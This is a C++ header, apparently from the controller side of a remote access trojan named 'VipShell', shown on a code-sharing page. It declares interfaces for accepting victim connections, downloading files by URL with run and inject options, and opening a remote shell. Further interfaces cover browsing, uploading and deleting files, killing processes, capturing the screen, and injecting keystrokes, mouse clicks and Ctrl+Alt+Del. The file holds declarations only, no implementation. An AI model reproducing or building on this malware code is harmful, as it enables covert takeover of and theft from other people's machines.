📄 i_vipshellclienthandle.h
字号:
#pragma once
#include "Pinboard.h"
#define TIMER_OUT (1000 * 10) //超时时间
struct I_VipShellClientHandle;
struct CVipShellClientHandleEvent
{
virtual void OnResponse_GetServerInfo(I_VipShellClientHandle* p,LPCWSTR szExplain, LPCWSTR szName, DWORD dwPlatformId, DWORD dwMajorVersion, DWORD dwMinorVersion,DWORD dwCpuSpeed, DWORD dwMemory, bool fIsCanCap){};
virtual void OnGetProcessList(I_VipShellClientHandle* p, BYTE* pData, UINT32 nCount ) {};
};
struct I_VipShellClientInputHandle;
//主连接管理
struct I_VipShellClientHandle : public CPinboard
{
virtual USHORT GetPeer(ULONG* pIp) = 0;
virtual void SetVipShellHandleEvent(CVipShellClientHandleEvent* p) =0;
virtual void SetCustomContext(LPCVOID pConstext) = 0;
virtual LPCVOID GetCustomContext() = 0;
virtual bool CmdDownFile(LPCWSTR szUrl, bool fRun , bool fInject , LPCWSTR szName) = 0;
virtual bool GetServerInfo() = 0;
virtual bool GetShell(UINT32 nTyp) = 0;
virtual bool GetFileManage() = 0;
virtual bool GetScreenInfo(UINT32 nVipShellClientHandleId) = 0;
virtual I_VipShellClientInputHandle* GetVipShellClientInputHandle() = 0;
virtual bool GetProcessList(BSTR* p = NULL) = 0;
virtual bool KillProcess(UINT32 dwId) = 0;
};
//键盘输入 鼠标输入控制
struct I_VipShellClientInputHandle : public CPinboard
{
virtual bool SendKeyDown(int nVirtKey) = 0;
virtual bool SendKeyUp(int nVirtKey) = 0;
virtual bool SendMouseMove(POINT* pt) = 0;
virtual bool SendLButtonDown(POINT* pt) = 0;
virtual bool SendLButtonUp(POINT* pt) = 0;
virtual bool SendLButtonDblclk(POINT* pt) = 0;
virtual bool SendRButtonDown(POINT* pt) = 0;
virtual bool SendRButtonUp(POINT* pt) = 0;
virtual bool SendRButtonDblclk(POINT* pt) = 0;
virtual bool SendKeyCtrlAltDel() = 0;
};
struct I_VipShellClientShellHandle;
struct I_VipShellClientFileManageHandle;
struct I_VipShellClientScreenHandle;
struct CVipShellServerHandleCallBack
{
virtual void OnVipShellHandle(I_VipShellClientHandle* p){}
virtual void OnVipShellClientShellHandle(I_VipShellClientShellHandle* p){}
virtual void OnVipShellClientFileManageHandle(I_VipShellClientFileManageHandle* p){}
virtual void OnVipShellClientScreenHandle(I_VipShellClientScreenHandle* p){}
};
struct I_VipShellHandleServer : public CPinboard
{
virtual bool Listen(WORD port,CVipShellServerHandleCallBack* e ) = 0;
virtual bool Close() = 0;
};
struct CVipShellClientShellHandleEvent
{
virtual void OnCommandRet(LPCWSTR sz){}
};
//shell连接
struct I_VipShellClientShellHandle : public CPinboard
{
virtual bool SetVipShellClientShellHandleEvent(CVipShellClientShellHandleEvent* p) = 0;
virtual bool SendCmd(LPCWSTR szCmd) = 0;
virtual bool StartShell(UINT32 nType) = 0;
virtual bool Close() = 0;
};
struct CVipShellClientFileManageHandleEvent
{
virtual void OnPathInfo(DWORD dwCount, const BYTE* p){};
virtual void OnRootInfo(DWORD dwCount, const BYTE* p){};
};
enum enumFileTransfersBuffState
{
FileTransfersBuffState_none,
FileTransfersBuffState_Ok,
FileTransfersBuffState_Ok_end,
FileTransfersBuffState_error
};
struct I_VipShellClientGetFileTransfersInfo : public CPinboard
{
virtual void SetFilePath(LPCWSTR szPath) = 0;
virtual size_t GetFilePointer() = 0;
virtual void SetFilePointer(size_t nIndex) = 0;
virtual void SetReadLen(size_t nLen) = 0;
virtual bool GetStat(enumFileTransfersBuffState* stat) = 0;
virtual LPCVOID GetBuff() = 0;
virtual size_t GetBufflen() = 0;
virtual UINT32 GetFileSize() = 0;
};
struct I_VipShellClientPutFileTransfersInfo : public CPinboard
{
virtual void SetFilePath(LPCWSTR szPath) = 0;
virtual void SetFilePointer(size_t nIndex) = 0;
virtual void SetData(LPCVOID lp, size_t nLen) = 0;
virtual bool GetStat(enumFileTransfersBuffState* stat) = 0;
};
//文件管理
struct I_VipShellClientFileManageHandle : public CPinboard
{
virtual bool SetVipShellClientShellHandleEvent(CVipShellClientFileManageHandleEvent* p) = 0;
virtual bool GetPath(LPCWSTR szPath) = 0;
virtual bool GetPath(LPCWSTR szPath, BSTR* p) = 0;
virtual bool GetRoot() = 0;
virtual bool GetFile(I_VipShellClientGetFileTransfersInfo* pinfo) =0;
virtual bool CancelGetFile(I_VipShellClientGetFileTransfersInfo* pinfo) =0;
virtual bool PutFile(I_VipShellClientPutFileTransfersInfo* pInfo, bool fIsEnd) = 0;
virtual bool CancelPutFile(I_VipShellClientPutFileTransfersInfo* pInfo) = 0;
virtual bool CretaeGetFileTransfersInfo(I_VipShellClientGetFileTransfersInfo** ppv) = 0;
virtual bool CreatePutFileTransfersInfo(I_VipShellClientPutFileTransfersInfo** ppv) = 0;
virtual bool CreateDirectory(LPCWSTR szPath, bool* fret = NULL) = 0;
virtual bool DelFile(LPCWSTR szPath) = 0;
virtual bool ReName(LPCWSTR szFileName, LPCWSTR szPathNew) = 0;
};
//屏幕信息
struct I_VipShellClientScreenHandle : public CPinboard
{
virtual bool Start(UINT32 nX, UINT32 nY, UINT32 nCount) = 0;
virtual UINT32 GetVipShellClientHandleId() = 0;
virtual bool SetScreenCount(UINT32 nCount) = 0;
virtual bool SetScreenArea(UINT32 nX, UINT32 nY) = 0;
virtual HBITMAP GetScreen() = 0;
virtual bool UpDateScreen() = 0;
virtual bool Close() = 0;
};
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -